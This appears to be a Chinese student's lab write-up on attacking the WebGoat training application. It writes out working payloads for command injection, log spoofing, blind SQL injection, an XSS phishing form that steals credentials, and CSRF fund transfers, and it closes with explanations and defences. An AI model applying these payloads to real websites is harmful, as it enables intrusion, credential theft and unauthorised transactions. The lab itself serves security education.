1.查看jdk版本
2.安装环境,更改jdk
下载Web Goat及jdk安装包
在webgoat-container-7.0.1-war-exec.jar
目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
http://localhost:8080/WebGoat
进入登录界面,看到下方有提示账号及其对应的用户名和密码:由于未配置jdk,故Admin Functions
为空,配置jdk
sudo sumkdir -p /usr/local/javacp jdk-8u181-linux-x64.tar.gz /usr/local/javacd /usr/local/javatar xzvf jdk-8u181-linux-x64.tar.gz
vim /etc/profile(添加在profile文件末尾)JAVA_HOME=/usr/local/java/jdk1.8.0_251PATH=$PATH:$HOME/bin:$JAVA_HOME/binexport JAVA_HOMEexport PATH
update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_181/bin/java" 1update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_181/bin/javac" 1update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1update-alternatives --set java /usr/local/java/jdk1.8.0_181/bin/javaupdate-alternatives --set javac /usr/local/java/jdk1.8.0_181/bin/javacupdate-alternatives --set javaws /usr/local/java/jdk1.8.0_181/bin/javawssource /etc/profile
Injection Flaws
—>Command Injection
——>inspect Element
审查网页元素对源代码进行修改HelpFile
的select
元素,在第一项内容的后面添加"& netstat -an & ipconfig"
View
,如果可以看到执行指令后的网络端口使用情况和IP地址——>攻击成功!选择Injection Flaws
->Log Spoofing
User Name
文本框中填写guest%0d%0aLogin Succeeded for username: admin20175332
,利用%0d
回车,%oa
换行符,让注入信息转行显示。
Injection Flaws
->Database Backdoors
,文本框中输入101查询该用户的相关信息101; update employee set salary=20175332
更改数据,攻击成功!Injection Flaws
->LAB: SQL Injection
,密码框中输入‘ or 1=1 --
101 AND 1=1
进行一个查询测试,两个条件均有效,所以返回当前账户数字有效101 AND 1=2
,因为1不等于2,条件不成立,所以返回账号数字无效101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
判断PIN是否大于10000101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘X‘ );
判断PIN字段数值的第一个字母其ASCII码值是否比”X“小,并不断缩小判断条件。Jill
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
<script>alert("20175332 attack succeed !");</script>
,点击提交后,点击创建的帖子,会弹出一个对话框,说明攻击成功!<script>alert(" 201753332");</script>
<img src="http://localhost:8080/WebGoat/attack?Screen=317&menu=900&transferFunds=5000" width="1" height="1" />
,其中Screen和menu的值由右侧表格看出,语句transferFunds=5000意为把受害者的钱转走。<iframe src="attack?Screen=319&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=319&menu=900&transferFunds=CONFIRM"> </iframe>
原理:在Web对数据库进行查询时,在提交的正常请求命令中利用SQL语句漏洞嵌入恶意查询语句以执行相应操作或获取数据
防御:对所输入的内容进行严格判断筛选,对数据库设置当问权限,适当对数据进行加密,尽量不使用动态SQL语句
原理:利用现有网页漏洞,注入恶意指令代码到网页添加原来不存在的恶意网页程序,利用用户对现有操作网页的信任以执行恶意程序从而获取用户信息或操作权限,以达到某些目的
防御:过滤前端获取的信息中的特殊符号,如< / 等,对前端获取信息的符号进行适当转码再提交给后台
原理:在正常访问受信任网站时发送信息至另一网站,另一网站利用所获取信息冒充用户对受信任网站提出请求,以此来实现攻击
防御:在每一次与重要信息有关的操作中都增加验证环节,通过生成随机数验证码实现验证身份
本次实验操作较为简单,主要是对几种攻击原理的理解,在实验过程中也理解了许多实际生活中某些网站的操作,如进行登陆操作时有许多网站会有输入验证码的操作,这是本学期最后一次实验,回顾一下,个人认为还是较为圆满的完成了每一个实验,在每一个实验中也都学到了许多东西,也体会到了这门课程较高的实践性,也让我在以后的日常生活中使用网络时更为注意。